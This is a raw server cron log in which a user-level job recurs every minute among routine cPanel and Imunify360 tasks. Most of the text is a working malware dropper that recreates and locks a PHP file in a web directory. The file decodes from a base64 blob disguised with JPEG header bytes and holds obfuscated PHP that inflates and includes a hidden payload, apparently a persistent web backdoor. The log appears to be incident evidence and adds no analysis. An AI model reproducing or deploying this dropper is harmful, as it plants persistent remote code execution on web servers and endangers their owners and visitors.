Sep  9 17:38:01 server CROND[12600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:39:01 server CROND[12980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:39:01 server CROND[12981]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:39:01 server CROND[12982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:39:01 server CROND[12983]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 17:40:01 server CROND[13387]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:40:01 server CROND[13389]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:40:01 server CROND[13392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:40:01 server CROND[13390]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 17:40:01 server CROND[13393]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 17:40:01 server CROND[13391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:40:01 server CROND[13394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:40:01 server CROND[13396]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 17:41:01 server CROND[14240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:41:01 server CROND[14242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:41:01 server CROND[14241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:42:01 server CROND[14714]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 17:42:01 server CROND[14713]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:42:01 server CROND[14716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:42:01 server CROND[14715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:43:01 server CROND[15106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:43:01 server CROND[15107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:43:01 server CROND[15108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:44:01 server CROND[15493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:44:01 server CROND[15494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:44:01 server CROND[15495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:45:01 server CROND[15879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:45:01 server CROND[15885]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:45:01 server CROND[15886]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 17:45:01 server CROND[15888]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:45:01 server CROND[15887]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 17:45:01 server CROND[15889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:45:01 server CROND[15892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:46:01 server CROND[16719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:46:01 server CROND[16720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:46:01 server CROND[16721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:47:01 server CROND[17098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:47:01 server CROND[17099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:47:01 server CROND[17100]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:48:01 server CROND[17479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:48:01 server CROND[17478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:48:01 server CROND[17480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:49:01 server CROND[17948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:49:01 server CROND[17949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:49:01 server CROND[17950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:50:01 server CROND[18342]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:50:01 server CROND[18343]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 17:50:01 server CROND[18344]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
